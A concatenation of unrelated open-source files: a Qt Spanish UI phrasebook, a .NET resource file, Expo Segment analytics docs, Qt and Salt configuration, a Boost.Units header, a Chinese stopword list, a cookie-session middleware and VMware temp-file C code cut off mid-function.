<target>cuadro de lista de selección múltiple</target> </phrase> <phrase> <source>My Computer</source> <target>Mi PC</target> <definition>icon/icono</definition> </phrase> <phrase> <source>Network Neighborhood</source> <target>Entorno de red</target> <definition>icon/icono</definition> </phrase> <phrase> <source>New</source> <target>Nuevo</target> </phrase> <phrase> <source>Next</source> <target>Sigulente</target> </phrase> <phrase> <source>object</source> <target>objeto</target> </phrase> <phrase> <source>OK</source> <target>Aceptar</target> </phrase> <phrase> <source>OLE</source> <target>OLE</target> </phrase> <phrase> <source>OLE drag and drop</source> <target>Arrastrar y colocar de OLE</target> </phrase> <phrase> <source>OLE embedded object</source> <target>Objeto incrustado de OLE</target> </phrase> <phrase> <source>OLE linked object</source> <target>Objeto vinculado de OLE</target> </phrase> <phrase> <source>OLE nondefault drag and drop</source> <target>Arrastrar y colocar no predeterminado de OLE</target> </phrase> <phrase> <source>Open</source> <target>Abrir</target> </phrase> <phrase> <source>Open With</source> <target>Abrir con</target> </phrase> <phrase> <source>option button</source> <target>botón de opción</target> </phrase> <phrase> <source>option-set</source> <target>opción establecida</target> </phrase> <phrase> <source>package</source> <target>paquete</target> </phrase> <phrase> <source>Page Setup</source> <target>Preparar página</target> </phrase> <phrase> <source>palette window</source> <target>ventana de paleta</target> </phrase> <phrase> <source>pane</source> <target>panel</target> </phrase> <phrase> <source>parent window</source> <target>ventana principal</target> </phrase> <phrase> <source>password</source> <target>contraseña</target> </phrase> <phrase> <source>Paste</source> <target>Pegar</target> </phrase> <phrase> <source>Paste Link</source> <target>Pegar vínculo</target> </phrase> <phrase> <source>Paste Shortcut</source> <target>Pegar acceso directo</target> </phrase> <phrase> <source>Paste Special</source> <target>Pegado especial</target> </phrase> <phrase> <source>path</source> <target>ruta de acceso</target> </phrase> <phrase> <source>Pause</source> <target>Pausa</target> </phrase> <phrase> <source>pen</source> <target>lápiz</target> </phrase> <phrase> <source>Play</source> <target>Reproducir</target> </phrase> <phrase> <source>Plug and Play</source> <target>Plug and Play</target> </phrase> <phrase> <source>point</source> <target>señalar</target> <definition>verb</definition> </phrase> <phrase> <source>point</source> <target>punto</target> <definition>noun</definition> </phrase> <phrase> <source>pointer</source> <target>puntero</target> </phrase> <phrase> <source>pop-up menu</source> <target>menú emergente</target> </phrase> <phrase> <source>pop-up window</source> <target>ventana emergente</target> </phrase> <phrase> <source>portrait</source> <target>vertical</target> </phrase> <phrase> <source>press</source> <target>presionar</target> <definition>and hold a mouse button/y mantener presionado un botón del mouse</definition> </phrase> <phrase> <source>press</source> <target>presionar</target> <definition>a key/una tecla</definition> </phrase> <phrase> <source>primary container</source> <target>contenedor primario</target> </phrase> <phrase> <source>primary window</source> <target>ventana principal</target> </phrase> <phrase> <source>Print</source> <target>Imprimir</target> </phrase> <phrase> <source>printer</source> <target>impresora</target> </phrase> <phrase> <source>progress indicator</source> <target>indicador de progreso</target> <definition>control</definition> </phrase> <phrase> <source>project</source> <target>proyecto</target> </phrase> <phrase> <source>Properties</source> <target>Propiedades</target> </phrase> <phrase> <source>property inspector</source> <target>monitor de propiedades</target> </phrase> <phrase> <source>property page</source> <target>página de propiedades</target> </phrase> <phrase> <source>property sheet</source> <target>hoja de propiedades</target> </phrase> <phrase> <source>property sheet control</source> <target>control de la hoja de propiedades</target> </phrase> <phrase> <source>Quick View</source> <target>Vista rápida</target> </phrase> <phrase> <source>read-only</source> <target>sólo lectura</target> </phrase> <phrase> <source>recognition</source> <target>reconocimiento</target> </phrase> <phrase> <source>Recycle Bin</source> <target>Papelera de reciclaje</target> <definition>Icon/icono</definition> </phrase> <phrase> <source>Redo</source> <target>Rehacer</target> </phrase> <phrase> <source>region selection</source> <target>selección de área</target> </phrase> <phrase> <source>registry</source> <target>Registro de configuraciones</target> </phrase> <phrase> <source>Repeat</source> <target>Repetir</target> </phrase> <phrase> <source>Replace</source> <target>Reemplazar</target> </phrase> <phrase> <source>Restore</source> <target>Restaurar</target> </phrase> <phrase> <source>Restore button</source> <target>botón &amp;quot;Restaurar&amp;quot;</target> </phrase> <phrase> <source>Resume</source> <target>Reanudar</target> </phrase> <phrase> <source>Retry</source> <target>Reintentar</target> </phrase> <phrase> <source>rich-text box</source> <target>cuadro de texto enriquecido</target> </phrase> <phrase> <source>Run</source> <target>Ejecutar</target> </phrase> <phrase> <source>Save</source> <target>Guardar</target> </phrase> <phrase> <source>Save as</source> <target>Guardar como</target> </phrase> <phrase> <source>scroll</source> <target>desplazar</target> </phrase> <phrase> <source>scroll arrow</source> <target>flecha de desplazamiento</target> </phrase> <phrase> <source>scroll bar</source> <target>barra de desplazamiento</target> </phrase> <phrase> <source>scroll box</source> <target>cuadro de desplazamiento</target> </phrase> <phrase> <source>secondary window</source> <target>ventana secundaria</target> </phrase> <phrase> <source>select</source> <target>seleccionar</target> </phrase> <phrase> <source>Select All</source> <target>Seleccionar todo</target> </phrase> <phrase> <source>selection</source> <target>selección</target> </phrase> <phrase> <source>selection handle</source> <target>controlador de selección</target> </phrase> <phrase> <source>Send To</source> <target>Enviar a</target> </phrase> <phrase> <source>separator</source> <target>separador</target> </phrase> <phrase> <source>Settings</source> <target>Configuración</target> </phrase> <phrase> <source>Setup</source> <target>Configurar</target> <definition>for a device already installed</definition> </phrase> <phrase> <source>Setup</source> <target>Instalar</target> <definition>for an application</definition> </phrase> <phrase> <source>shortcut</source> <target>acceso directo</target> </phrase> <phrase> <source>shortcut button</source> <target>botón de acceso directo</target> </phrase> <phrase> <source>shortcut icon</source> <target>icono de acceso directo</target> </phrase> <phrase> <source>shortcut key</source> <target>tecla de método abreviado</target> </phrase> <phrase> <source>shortcut key control</source> <target>control de la tecla de método abreviado</target> </phrase> <phrase> <source>Show</source> <target>Mostrar</target> </phrase> <phrase> <source>Shutdown</source> <target>Apagar el sistema</target> </phrase> <phrase> <source>single selection list box</source> <target>cuadro de lista de selección simple</target> </phrase> <phrase> <source>Size</source> <target>Tamaño</target> </phrase> <phrase> <source>size grip</source> <target>ajuste de tamaño</target> </phrase> <phrase> <source>slider</source> <target>control deslizante</target> </phrase> <phrase> <source>spin box</source> <target>cuadro selector</target> </phrase> <phrase> <source>Split</source> <target>Dividir</target> </phrase> <phrase> <source>split bar</source> <target>barra de división</target> </phrase> <phrase> <source>split box</source> <target>cuadro de división</target> </phrase> <phrase> <source>Start button</source> <target>botón &amp;quot;Inicio&amp;quot;</target> </phrase> <phrase> <source>StartUp folder</source> <target>carpeta Inicio</target> </phrase> <phrase> <source>status bar</source> <target>barra de estado</target> </phrase> <phrase> <source>Stop</source> <target>Detener</target> </phrase> <phrase> <source>tab control</source> <target>control de fichas</target> </phrase> <phrase> <source>tap</source> <target>puntear</target> </phrase> <phrase> <source>task bar</source> <target>barra de tareas</target> </phrase> <phrase> <source>task-oriented Help</source> <target>Ayuda relativa a la tarea</target> </phrase> <phrase> <source>template</source> <target>plantilla</target> </phrase> <phrase> <source>text box</source> <target>cuadro de texto</target> </phrase> <phrase> <source>title bar</source> <target>barra de título</target> </phrase> <phrase> <source>title text</source> <target>texto de título</target> </phrase> <phrase> <source>toggle key</source> <target>tecla para alternar</target> </phrase> <phrase> <source>toolbar</source> <target>barra de herramientas</target> </phrase> <phrase> <source>tooltip</source> <target>sugerencias</target> </phrase> <phrase> <source>tree view control</source> <target>control de visión en árbol</target> </phrase> <phrase> <source>type</source> <target>escribir</target> <definition>verb</definition> </phrase> <phrase> <source>type</source> <target>tipo</target> <definition>noun</definition> </phrase> <phrase> <source>unavailable</source> <target>no disponible</target> </phrase> <phrase> <source>Undo</source> <target>Deshacer</target> </phrase> <phrase> <source>Uninstall</source> <target>Desinstalar</target> </phrase> <phrase> <source>View</source> <target>menú Ver</target> </phrase> <phrase> <source>visual editing</source> <target>edición visual</target> </phrase> <phrase> <source>well control</source> <target>control de opciones gráficas</target> </phrase> <phrase> <source>What&apos;s This?</source> <target>¿Qué es esto?</target> </phrase> <phrase> <source>Window</source> <target>menú Ventana</target> </phrase> <phrase> <source>window</source> <target>ventana</target> </phrase> <phrase> <source>Windows Explorer</source> <target>Explorador de Windows</target> </phrase> <phrase> <source>wizard</source> <target>asistente</target> </phrase> <phrase> <source>workbook</source> <target>libro</target> </phrase> <phrase> <source>workbook</source> <target>libro de trabajo</target> </phrase> <phrase> <source>workgroup</source> <target>grupo de trabajo</target> </phrase> <phrase> <source>workspace</source> <target>área de trabajo</target> </phrase> <phrase> <source>Yes</source> <target>Sí</target> </phrase> </QPH>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <root> <!-- Microsoft ResX Schema Version 2.0 The primary goals of this format is to allow a simple XML format that is mostly human readable. The generation and parsing of the various data types are done through the TypeConverter classes associated with the data types. Example: ... ado.net/XML headers & schema ... <resheader name="resmimetype">text/microsoft-resx</resheader> <resheader name="version">2.0</resheader> <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader> <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader> <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data> <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data> <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64"> <value>[base64 mime encoded serialized .NET Framework object]</value> </data> <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64"> <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value> <comment>This is a comment</comment> </data> There are any number of "resheader" rows that contain simple name/value pairs. Each data row contains a name, and value. The row also contains a type or mimetype. Type corresponds to a .NET class that support text/value conversion through the TypeConverter architecture. Classes that don't support this are serialized and stored with the mimetype set. The mimetype is used for serialized objects, and tells the ResXResourceReader how to depersist the object. This is currently not extensible. For a given mimetype the value must be set accordingly: Note - application/x-microsoft.net.object.binary.base64 is the format that the ResXResourceWriter will generate, however the reader can read any of the formats listed below. mimetype: application/x-microsoft.net.object.binary.base64 value : The object must be serialized with : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter : and then encoded with base64 encoding. mimetype: application/x-microsoft.net.object.soap.base64 value : The object must be serialized with : System.Runtime.Serialization.Formatters.Soap.SoapFormatter : and then encoded with base64 encoding. mimetype: application/x-microsoft.net.object.bytearray.base64 value : The object must be serialized into a byte array : using a System.ComponentModel.TypeConverter : and then encoded with base64 encoding. --> <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"> <xsd:import namespace="http://www.w3.org/XML/1998/namespace" /> <xsd:element name="root" msdata:IsDataSet="true"> <xsd:complexType> <xsd:choice maxOccurs="unbounded"> <xsd:element name="metadata"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" /> </xsd:sequence> <xsd:attribute name="name" use="required" type="xsd:string" /> <xsd:attribute name="type" type="xsd:string" /> <xsd:attribute name="mimetype" type="xsd:string" /> <xsd:attribute ref="xml:space" /> </xsd:complexType> </xsd:element> <xsd:element name="assembly"> <xsd:complexType> <xsd:attribute name="alias" type="xsd:string" /> <xsd:attribute name="name" type="xsd:string" /> </xsd:complexType> </xsd:element> <xsd:element name="data"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" /> <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" /> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" /> <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" /> <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" /> <xsd:attribute ref="xml:space" /> </xsd:complexType> </xsd:element> <xsd:element name="resheader"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" /> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required" /> </xsd:complexType> </xsd:element> </xsd:choice> </xsd:complexType> </xsd:element> </xsd:schema> <resheader name="resmimetype"> <value>text/microsoft-resx</value> </resheader> <resheader name="version"> <value>2.0</value> </resheader> <resheader name="reader"> <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <resheader name="writer"> <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <data name="About.Text" xml:space="preserve"> <value>About</value> </data> <data name="BeginOcr.[using:Windows.UI.Xaml.Automation]AutomationProperties.Name" xml:space="preserve"> <value>Start Ocr</value> </data> <data name="English.Text" xml:space="preserve"> <value>English</value> </data> <data name="Exit.Text" xml:space="preserve"> <value>Exit</value> </data> <data name="File.Text" xml:space="preserve"> <value>File</value> </data> <data name="Help.Text" xml:space="preserve"> <value>Help</value> </data> <data name="Info.Text" xml:space="preserve"> <value>Info</value> </data> <data name="InstallLanguage.Text" xml:space="preserve"> <value>How to Install New OCR Languages</value> </data> <data name="Language.Text" xml:space="preserve"> <value>Select Language</value> </data> <data name="message.Text" xml:space="preserve"> <value>(a9t9) Free Ocr Software</value> </data> <data name="OpenImages.[using:Windows.UI.Xaml.Automation]AutomationProperties.Name" xml:space="preserve"> <value>Open Images</value> </data> <data name="OpenLanguageFolder.Text" xml:space="preserve"> <value>Open Language Folder</value> </data> <data name="OpenPdf.[using:Windows.UI.Xaml.Automation]AutomationProperties.Name" xml:space="preserve"> <value>Open Pdf</value> </data> <data name="OpenWebSite.Text" xml:space="preserve"> <value>Get More Information Online</value> </data> <data name="RecognizeAll.Content" xml:space="preserve"> <value>Process All Documents</value> </data> <data name="Russian.Text" xml:space="preserve"> <value>Русский</value> </data> <data name="Save.Text" xml:space="preserve"> <value>Save</value> </data> <data name="SaveText.Content" xml:space="preserve"> <value>Save as Text</value> </data> <data name="SaveWord.Content" xml:space="preserve"> <value>Save as Word</value> </data> <data name="Publisher.Text" xml:space="preserve"> <value>Publisher Name</value> </data> <data name="Version.Text" xml:space="preserve"> <value>Version 1.0.0</value> </data> <data name="MoreInfo.Text" xml:space="preserve"> <value>More Information :</value> </data> <data name="MoreInfoHyperLink.Content" xml:space="preserve"> <value>How to install more OCR languages</value> </data> <data name="OnlineHelpHyperLink.Content" xml:space="preserve"> <value>Open Online Help</value> </data> <data name="EnglishLanguage.Content" xml:space="preserve"> <value>English</value> </data> <data name="OcrLanguage.Text" xml:space="preserve"> <value>OCR Language</value> </data> <data name="RussianLanguage.Content" xml:space="preserve"> <value>Russian</value> </data> </root>
{ "pile_set_name": "Github" }
--- title: Segment sourceCodeUrl: 'https://github.com/expo/expo/tree/sdk-36/packages/expo-analytics-segment' --- import InstallSection from '~/components/plugins/InstallSection'; import PlatformsSection from '~/components/plugins/PlatformsSection'; **`expo-analytics-segment`** provides access to <https://segment.com/> mobile analytics. Wraps Segment's [iOS](https://segment.com/docs/sources/mobile/ios/) and [Android](https://segment.com/docs/sources/mobile/android/) sources. > **Note:** Session tracking may not work correctly when running Experiences in the main Expo app. It will work correctly if you create a standalone app. <PlatformsSection android emulator ios simulator web={{ pending: 'https://github.com/expo/expo/issues/6887' }} /> ## Installation <InstallSection packageName="expo-analytics-segment" /> ## API ```js import * as Segment from 'expo-analytics-segment'; ``` ### `Segment.initialize({ androidWriteKey, iosWriteKey })` Segment requires separate write keys for iOS and Android. You will need to log in to Segment to recieve these <https://segment.com/docs/guides/setup/how-do-i-find-my-write-key/> #### Arguments Accepts an object with the following keys: - **androidWriteKey (_string_)** – Write key for Android source. - **iosWriteKey (_string_)** – Write key for iOS source. ### `Segment.identify(userId)` Associates the current user with a user ID. Call this after calling [`Segment.initialize()`](#exposegmentinitialize 'Segment.initialize') but before other segment calls. See <https://segment.com/docs/spec/identify/>. #### Arguments - **userId (_string_)** – User ID for the current user. ### `Segment.identifyWithTraits(userId, traits)` #### Arguments - **userId (_string_)** – User ID for the current user. - **traits (_object_)** – A map of custom properties. ### `Segment.reset()` Clears the current user. See <https://segment.com/docs/sources/mobile/ios/#reset>. ### `Segment.track(event)` Log an event to Segment. See <https://segment.com/docs/spec/track/>. #### Arguments - **event (_string_)** – The event name. ### `Segment.trackWithProperties(event, properties)` Log an event to Segment with custom properties. See <https://segment.com/docs/spec/track/>. #### Arguments - **event (_string_)** – The event name. - **properties (_object_)** – A map of custom properties. ### `Segment.group(groupId)` Associate the user with a group. See <https://segment.com/docs/spec/group/>. #### Arguments - **groupId (_string_)** – ID of the group. ### `Segment.groupWithTraits(groupId, traits)` Associate the user with a group with traits. See <https://segment.com/docs/spec/group/>. #### Arguments - **groupId (_string_)** – ID of the group. - **traits (_object_)** – free-form dictionary of traits of the group. ### `Segment.alias(newId, [options])` Associate current identity with a new identifier. See <https://segment.com/docs/spec/alias/>. #### Arguments - **newId (_string_)** – Identifier to associate with. - **options (_object_)** – _(optional)_ extra dictionary with options for the call. You could pass a dictionary of form `{ [integrationKey]: { enabled: boolean, options: object } }` to configure destinations of the call. #### Returns - A `Promise` resolving to a `boolean` indicating whether the method has been executed on the underlying Segment instance or not. ### `Segment.screen(screenName)` Record that a user has seen a screen to Segment. See <https://segment.com/docs/spec/screen/>. #### Arguments - **screenName (_string_)** – Name of the screen. ### `Segment.screenWithProperties(screenName, properties)` Record that a user has seen a screen to Segment with custom properties. See <https://segment.com/docs/spec/screen/>. - **screenName (_string_)** – Name of the screen. - **properties (_object_)** – A map of custom properties. ### `Segment.flush()` Manually flush the event queue. You shouldn't need to call this in most cases. ### Opting out (enabling/disabling all tracking) > Depending on the audience for your app (e.g. children) or the countries where you sell your app (e.g. the EU), you may need to offer the ability for users to opt-out of analytics data collection inside your app. You can turn off forwarding to ALL destinations including Segment itself: > ([Source – Segment docs](https://segment.com/docs/sources/mobile/ios/#opt-out)) ```js import * as Segment from 'expo-analytics-segment'; Segment.setEnabledAsync(false); // Or if they opt-back-in, you can re-enable data collection: Segment.setEnabledAsync(true); ``` > **Note:** disabling the Segment SDK ensures that all data collection method invocations (eg. `track`, `identify`, etc) are ignored. This method is only supported in standalone and detached apps. In Expo client the promise will reject. The setting value will be persisted across restarts, so once you call `setEnabledAsync(false)`, Segment won't track the users even when the app restarts. To check whether tracking is enabled, use `Segment.getEnabledAsync()` which returns a promise which should resolve to a boolean.
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <ui version="4.0"> <class>Ui_TrimAmountOptions</class> <widget class="QWidget" name="Ui_TrimAmountOptions"> <property name="geometry"> <rect> <x>0</x> <y>0</y> <width>168</width> <height>33</height> </rect> </property> <property name="sizePolicy"> <sizepolicy hsizetype="Maximum" vsizetype="Maximum"> <horstretch>0</horstretch> <verstretch>0</verstretch> </sizepolicy> </property> <property name="windowTitle"> <string>Trim Amount Options</string> </property> <property name="toolTip"> <string>Distance. Negative values for trimming, positive values for extending.</string> </property> <layout class="QHBoxLayout"> <property name="spacing"> <number>6</number> </property> <property name="leftMargin"> <number>1</number> </property> <property name="topMargin"> <number>1</number> </property> <property name="rightMargin"> <number>1</number> </property> <property name="bottomMargin"> <number>1</number> </property> <item> <widget class="QLabel" name="lDist"> <property name="sizePolicy"> <sizepolicy hsizetype="Maximum" vsizetype="Preferred"> <horstretch>0</horstretch> <verstretch>0</verstretch> </sizepolicy> </property> <property name="minimumSize"> <size> <width>51</width> <height>0</height> </size> </property> <property name="text"> <string>Length:</string> </property> <property name="wordWrap"> <bool>false</bool> </property> </widget> </item> <item> <widget class="QLineEdit" name="leDist"> <property name="sizePolicy"> <sizepolicy hsizetype="Maximum" vsizetype="Fixed"> <horstretch>40</horstretch> <verstretch>22</verstretch> </sizepolicy> </property> <property name="maximumSize"> <size> <width>64</width> <height>16777215</height> </size> </property> <property name="toolTip"> <string>Distance. Negative values for trimming, positive values for extending. Negative sign is ignored when trimming to final total length.</string> </property> <property name="toolTipDuration"> <number>2</number> </property> <property name="maxLength"> <number>32769</number> </property> </widget> </item> <item> <widget class="QCheckBox" name="cbTotalLength"> <property name="sizePolicy"> <sizepolicy hsizetype="Preferred" vsizetype="Preferred"> <horstretch>0</horstretch> <verstretch>0</verstretch> </sizepolicy> </property> <property name="toolTip"> <string>The input length is used as total length after trimming, instead of length increase</string> </property> <property name="text"> <string/> </property> </widget> </item> <item> <spacer name="horizontalSpacer"> <property name="orientation"> <enum>Qt::Horizontal</enum> </property> <property name="sizeHint" stdset="0"> <size> <width>4</width> <height>20</height> </size> </property> </spacer> </item> <item> <widget class="Line" name="line"> <property name="orientation"> <enum>Qt::Vertical</enum> </property> </widget> </item> </layout> </widget> <layoutdefault spacing="6" margin="11"/> <resources/> <connections/> </ui>
{ "pile_set_name": "Github" }
{%- from "metalk8s/macro.sls" import pkg_installed with context %} include: - metalk8s.repo Install sos report and custom plugins: {{ pkg_installed('metalk8s-sosreport') }} - require: - test: Repositories configured
{ "pile_set_name": "Github" }
// Boost.Units - A C++ library for zero-overhead dimensional analysis and // unit/quantity manipulation and conversion // // Copyright (C) 2003-2008 Matthias Christian Schabel // Copyright (C) 2007-2008 Steven Watanabe // // Distributed under the Boost Software License, Version 1.0. (See // accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_UNITS_CGS_BIOT_BASE_UNIT_HPP #define BOOST_UNITS_CGS_BIOT_BASE_UNIT_HPP #include <boost/units/scaled_base_unit.hpp> #include <boost/units/base_units/si/ampere.hpp> namespace boost { namespace units { namespace cgs { typedef scaled_base_unit<boost::units::si::ampere_base_unit, scale<10, static_rational<+1> > > biot_base_unit; } // namespace cgs } // namespace units } // namespace boost #endif // BOOST_UNITS_CGS_BIOT_BASE_UNIT_HPP
{ "pile_set_name": "Github" }
[Main] agent_key: not-empty-but-too-short
{ "pile_set_name": "Github" }
, . ; + - | / \ ' " : ? < [ ] { } ! @ # $ % ^ & * ( ) ~ `   , 。 ; ‘ ’ “ ” / ? ~ ! @ # ¥ % …… & × ( —) 【 】 { } | 、 《 》 : 第二 一番 一直 一个 一些 许多 种 有的是 也就是说 末##末 啊 阿 哎 哎呀 哎哟 唉 俺 俺们 按 按照 吧 吧哒 把 罢了 被 本 本着 比 比方 比如 鄙人 彼 彼此 边 别 别的 别说 并 并且 不比 不成 不单 不但 不独 不管 不光 不过 不仅 不拘 不论 不怕 不然 不如 不特 不惟 不问 不只 朝 朝着 趁 趁着 乘 冲 除 除此之外 除非 除了 此 此间 此外 从 从而 打 待 但 但是 当 当着 到 得 的 的话 等 等等 地 第 叮咚 对 对于 多 多少 而 而况 而且 而是 而外 而言 而已 尔后 反过来 反过来说 反之 非但 非徒 否则 嘎 嘎登 该 赶 个 各 各个 各位 各种 各自 给 根据 跟 故 故此 固然 关于 管 归 果然 果真 过 哈 哈哈 呵 和 何 何处 何况 何时 嘿 哼 哼唷 呼哧 乎 哗 还是 还有 换句话说 换言之 或 或是 或者 极了 及 及其 及至 即 即便 即或 即令 即若 即使 几 几时 己 既 既然 既是 继而 加之 假如 假若 假使 鉴于 将 较 较之 叫 接着 结果 借 紧接着 进而 尽 尽管 经 经过 就 就是 就是说 据 具体地说 具体说来 开始 开外 靠 咳 可 可见 可是 可以 况且 啦 来 来着 离 例如 哩 连 连同 两者 了 临 另 另外 另一方面 论 嘛 吗 慢说 漫说 冒 么 每 每当 们 莫若 某 某个 某些 拿 哪 哪边 哪儿 哪个 哪里 哪年 哪怕 哪天 哪些 哪样 那 那边 那儿 那个 那会儿 那里 那么 那么些 那么样 那时 那些 那样 乃 乃至 呢 能 你 你们 您 宁 宁可 宁肯 宁愿 哦 呕 啪达 旁人 呸 凭 凭借 其 其次 其二 其他 其它 其一 其余 其中 起 起见 起见 岂但 恰恰相反 前后 前者 且 然而 然后 然则 让 人家 任 任何 任凭 如 如此 如果 如何 如其 如若 如上所述 若 若非 若是 啥 上下 尚且 设若 设使 甚而 甚么 甚至 省得 时候 什么 什么样 使得 是 是的 首先 谁 谁知 顺 顺着 似的 虽 虽然 虽说 虽则 随 随着 所 所以 他 他们 他人 它 它们 她 她们 倘 倘或 倘然 倘若 倘使 腾 替 通过 同 同时 哇 万一 往 望 为 为何 为了 为什么 为着 喂 嗡嗡 我 我们 呜 呜呼 乌乎 无论 无宁 毋宁 嘻 吓 相对而言 像 向 向着 嘘 呀 焉 沿 沿着 要 要不 要不然 要不是 要么 要是 也 也罢 也好 一 一般 一旦 一方面 一来 一切 一样 一则 依 依照 矣 以 以便 以及 以免 以至 以至于 以致 抑或 因 因此 因而 因为 哟 用 由 由此可见 由于 有 有的 有关 有些 又 于 于是 于是乎 与 与此同时 与否 与其 越是 云云 哉 再说 再者 在 在下 咱 咱们 则 怎 怎么 怎么办 怎么样 怎样 咋 照 照着 者 这 这边 这儿 这个 这会儿 这就是说 这里 这么 这么点儿 这么些 这么样 这时 这些 这样 正如 吱 之 之类 之所以 之一 只是 只限 只要 只有 至 至于 诸位 着 着呢 自 自从 自个儿 自各儿 自己 自家 自身 综上所述 总的来看 总的来说 总的说来 总而言之 总之 纵 纵令 纵然 纵使 遵照 作为 兮 呃 呗 咚 咦 喏 啐 喔唷 嗬 嗯 嗳
{ "pile_set_name": "Github" }
var cookieSession = require('cookie-session') module.exports = function(options) { var session = cookieSession(options) return function(socket, next) { var req = socket.request var res = Object.create(null) session(req, res, next) } }
{ "pile_set_name": "Github" }
/********************************************************* * Copyright (C) 2011-2020 VMware, Inc. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published * by the Free Software Foundation version 2.1 and no later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the Lesser GNU General Public * License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * *********************************************************/ #if defined(_WIN32) #include <windows.h> #endif #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include <errno.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include "vmware.h" #include "log.h" #include "file.h" #include "fileInt.h" #include "util.h" #include "unicodeOperations.h" #include "posix.h" #if !defined(O_BINARY) #define O_BINARY 0 #endif /* *---------------------------------------------------------------------- * * FileTempNum -- * * Compute a number to be used as an attachment to a base name. * In order to avoid race conditions, files and directories are * kept separate via enforced odd (file) and even (directory) * numberings. * * Regardless of the input value of *var, the output value will * be even or odd as determined by createTempFile. * * Results: * An odd number if createTempFile is TRUE. * An even number if createTempFile is FALSE. * * Side effects: * None * *---------------------------------------------------------------------- */ static void FileTempNum(Bool createTempFile, // IN: uint32 *var) // IN/OUT: { ASSERT(var != NULL); *var += (FileSimpleRandom() >> 8) & 0xFF; *var = (*var & ~0x1) | (createTempFile ? 1 : 0); } /* *---------------------------------------------------------------------- * * FileMakeTempEx2Work -- * * Create a temporary file or a directory. * * If a temporary file is created successfully, then return an open file * descriptor to that file. * * 'dir' specifies the directory in which to create the object. It * must not end in a slash. * * 'createTempFile', if TRUE, then a temporary file will be created. If * FALSE, then a temporary directory will be created. * * 'makeSubdirSafe', if TRUE, then if a directory is requested, * the directory will be made "safe". This also requires that * 'dir' already be safe (the code will check this). * * 'createNameFunc' specifies the user-specified callback function that * will be called to construct a fileName. 'createNameFuncData' will be * passed everytime 'createNameFunc' is called. 'createNameFunc' * should return the dynamically allocated, proper fileName. * * Check the documentation for File_MakeTempHelperFunc. * * Results: * if a temporary file is created, then Open file descriptor or -1; * if a temporary directory is created, then 0 or -1; * If successful then presult points to a dynamically allocated * string with the pathname of the temp object created. * * Side effects: * Creates the requested object when successful. Errno is set on error * * Files and directories are effectively in separate name spaces; * the numerical value attached via createNameFunc is odd for files * and even for directories. * *---------------------------------------------------------------------- */ static int FileMakeTempEx2Work(const char *dir, // IN: Bool createTempFile, // IN: Bool makeSubdirSafe, // IN: File_MakeTempCreateNameFunc *createNameFunc, // IN: void *createNameFuncData, // IN: char **presult) // OUT: { uint32 i; int fd; uint32 var = 0; ASSERT(presult != NULL); if ((dir == NULL) || (createNameFunc == NULL)) { errno = EFAULT; return -1; } *presult = NULL; for (i = 0; i < (MAX_INT32 / 2); i++) { char *objName; char *pathName; /* * Files and directories are kept separate (odd and even respectfully). * This way the available exclusion mechanisms work properly - O_EXCL * on files, mkdir on directories - and races are avoided. * * Not attempting an open on a directory is a good thing... */ FileTempNum(createTempFile, &var); objName = (*createNameFunc)(var, createNameFuncData); ASSERT(objName != NULL); if (createTempFile) { pathName = File_PathJoin(dir, objName); fd = Posix_Open(pathName, O_CREAT | O_EXCL | O_BINARY | O_RDWR, 0600); } else { if (makeSubdirSafe) { pathName = File_MakeSafeTempSubdir(dir, objName); fd = (pathName == NULL) ? -1 : 0; } else { pathName = File_PathJoin(dir, objName); fd = Posix_Mkdir(pathName, 0700); } } if (fd != -1) { *presult = pathName; Posix_Free(objName); break; } Posix_Free(pathName); if (errno != EEXIST) { Log(LGPFX" Failed to create temporary %s; dir \"%s\", " "objName \"%s\", errno %d\n", createTempFile ? "file" : "directory", dir, objName, errno); Posix_Free(objName); goto exit; } Posix_Free(objName); } if (fd == -1) { Warning(LGPFX" Failed to create temporary %s: " "The name space is full.\n", createTempFile ? "file" : "directory"); errno = EAGAIN; } exit: return fd; } /* *---------------------------------------------------------------------- * * File_MakeTempEx2 -- * * Same as FileMakeTempEx2Int, defaulting 'makeSubdirSafe' to * FALSE. * * Results: * See FileMakeTempEx2Int. * * Side effects: * See FileMakeTempEx2Int. * *---------------------------------------------------------------------- */ int File_MakeTempEx2(const char *dir, // IN: Bool createTempFile, // IN: File_MakeTempCreateNameFunc *createNameFunc, // IN: void 